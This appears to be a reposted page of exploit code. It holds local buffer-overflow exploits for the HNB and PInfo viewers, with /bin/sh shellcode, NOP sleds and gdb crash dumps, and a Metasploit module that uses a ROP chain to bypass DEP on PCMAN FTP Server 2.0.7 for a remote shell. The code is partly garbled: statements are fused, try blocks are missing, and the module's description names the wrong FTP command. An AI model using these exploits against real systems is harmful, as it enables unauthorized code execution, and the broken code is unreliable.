eip = “\x40\xf3\xff\xbf”
buffer = nopsled * (buffersize-len(shellcode)) + eip[“hnb -rc”,’ ‘, buffer])

except OSError as e:
if e.errno == os.errno.ENOENT:
print “Sorry, HNB File Viewer – Not found!”
print “Error executing exploit”

def howtousage():
print “Snap! Something went wrong”

if __name__ == ‘__main__’:
print “Exploit HNB 1.9.18-10 Local Overflow Exploit”
print “Author: Juan Sacco – Exploit Pack”
except IndexError:

Exploit Code By Juan Sacoo

I Hope I am Explaining All In A Manner So If You Like Just Remember Me In You Prayer, I’m Your’s One And Only Lone Ranger 🙂

PInfo 0.6.9-5.1 Buffer Overflow

# Program description:

An alternative info-file viewer

# pinfo:

pinfo is an viewer for Info documents, which is based on ncurses.

# Kali Linux 2.0 package:


# Website:


$ run -m `python -c ‘print “A”*564+”DCBA”‘`


Program received signal SIGSEGV, Segmentation fault.

# ————————————————————————–[regs]

# EAX: 0x00000002 EBX: 0xB7F0B000 ECX: 0x00004554 EDX: 0x00000100 o d I t s z a P c
# ESI: 0x41424344 EDI: 0x00004554 EBP: 0xBFFFF4A4 ESP: 0xBFFFEF30 EIP: 0xB7D92832
# CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B

# ————————————————————————–

# => 0xb7d92832 <__GI_getenv+114>: cmp di,WORD PTR [esi]
# 0xb7d92835 <__GI_getenv+117>: jne 0xb7d92828 <__GI_getenv+104>
# 0xb7d92837 <__GI_getenv+119>: mov eax,DWORD PTR [esp+0x14]
# 0xb7d9283b <__GI_getenv+123>: mov DWORD PTR [esp+0x8],eax
# 0xb7d9283f <__GI_getenv+127>: mov eax,DWORD PTR [esp+0x18]
# 0xb7d92843 <__GI_getenv+131>: mov DWORD PTR [esp+0x4],eax
# 0xb7d92847 <__GI_getenv+135>: lea eax,[esi+0x2]
# 0xb7d9284a <__GI_getenv+138>: mov DWORD PTR [esp],eax

# --------------------------------------------------------------------------------

# gdb$ x/100x $esp
# 0xbffff250: 0xbffff49c 0x00000003 0x00000001 0x00000002
# 0xbffff260: 0xb7d6ebf8 0xb7fe78bd 0xb7d74ffd 0x41049384
# 0xbffff270: 0x41414141 0x41414141 0x41414141 0x41414141
# 0xbffff280: 0x41414141 0x41414141 0x41414141 0x41414141
# 0xbffff290: 0x41414141 0x41414141 0x41414141 0x41414141
# 0xbffff2a0: 0x41414141 0x41414141 0x41414141 0x41414141
# 0xbffff2b0: 0x41414141 0x41414141 0x41414141 0x41414141

import os, subprocess

def run():
print "# PInfo File Viewer - Local Buffer Overflow by Juan Sacco"
print "# This Exploit has been developed using Exploit Pack"

buffersize = 564
nopsled = "\x90"*200
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
eip = "\x40\xf3\xff\xbf"
buffer = nopsled * (buffersize-len(shellcode)) + eip["pinfo -m",' ', buffer])

except OSError as e:
if e.errno == os.errno.ENOENT:
print "Sorry, PInfo File Viewer - Not found!"
print "Error executing exploit"

def howtousage():
print "Snap! Something went wrong"

if __name__ == '__main__':
print "Exploit PInfo 0.6.9-5.1 Local Overflow Exploit"
print "Author: Juan Sacco - Exploit Pack"
except IndexError:

# --------------------------------------------------------------------------------

Exploit Code By Juan Sacoo

I Hope You May Like My Work 🙂 Stay Tune For More... I Am One And Only Your Awesome Lone Ranger... 🙂

PCMAN FTP Server 2.0.7 ls Buffer Overflow


This is another bug of pcmanftp which can be used to get a remote shell,and fits well with win7x64 with dep open

use anonymous and any password to login the ftp remotely,then send a command “ls AAA…A”(9000),the pcmanftp will crashed,later,find the 2009-2012th “A” will replace the pcmanftp’s retn address

# This module requires Metasploit:
# Current source:

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
‘Name’ => ‘PCMAN FTP Server Buffer Overflow – ls Command’,
‘Description’ => %q{
This module exploits a buffer overflow vulnerability found in the PUT command of the
PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous
credientials are enabled.
‘Author’ =>
‘License’ => MSF_LICENSE,
‘References’ =>
[ ‘EDB’, ‘39662’],
[ ‘OSVDB’, ‘N/A’]
‘DefaultOptions’ =>
‘EXITFUNC’ => ‘process’
‘Payload’ =>
‘Space’ => 1000,
‘BadChars’ => “\x00\x0A\x0D”,
‘Platform’ => ‘win’,
‘Targets’ =>
[ ‘windows 7 x64 chinese’,
#’Ret’ => 0x77636aeb, #dont need ret here in win7
‘Offset’ => 2008
‘DisclosureDate’ => ‘Aug 07 2015’,
‘DefaultTarget’ => 0))

def check

if /220 PCMan’s FTP Server 2.0/ === banner

def create_rop_chain()
# rop chain generated with –
rop_gadgets =
0x77032c3b, # POP EAX # RETN [kernel32.dll]
0x41414141, # add a 4 bytes data to fit retn 0x4 from the last function’s retn before eip=rop_gadgets
0x73c112d0, # ptr to &VirtualProtect() [IAT OLEACC.dll]
0x76bb4412, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSCTF.dll]
0x76408d2a, # XCHG EAX,ESI # RETN [SHLWAPI.dll]
0x76b607f0, # POP EBP # RETN [msvcrt.dll]
0x74916f14, # & push esp # ret [RICHED20.dll]
0x7368b031, # POP EAX # RETN [COMCTL32.dll]
0xfffffaff, # Value to negate, will become 0x00000201
0x756c9a5c, # NEG EAX # RETN [SHELL32.dll]
0x767088bd, # XCHG EAX,EBX # RETN [RPCRT4.dll]
0x77031d7b, # POP EAX # RETN [kernel32.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x76cc4402, # NEG EAX # RETN [SHELL32.dll]
0x76b4ad98, # XCHG EAX,EDX # RETN [SHELL32.dll]
0x756b1cc1, # POP ECX # RETN [SHELL32.dll]
0x7647c663, # &Writable location [USP10.dll]
0x73756cf3, # POP EDI # RETN [COMCTL32.dll]
0x76cc4404, # RETN (ROP NOP) [USER32.dll]
0x76b3f5d4, # POP EAX # RETN [msvcrt.dll]
0x90909090, # nop
0x7366e16f, # PUSHAD # RETN [COMCTL32.dll]


return rop_gadgets


def exploit

print_status(‘Generating payload…’)
sploit = rand_text_alpha(target[‘Offset’])

#tmp = sploit
sploit << create_rop_chain()
#sploit << make_nops(9) 这句产生的nop并非90
sploit << “\x90″*30
#sploit << “\x41″*30
#sploit << “\xcc”
sploit << payload.encoded


send_cmd( [“ls”, sploit], false )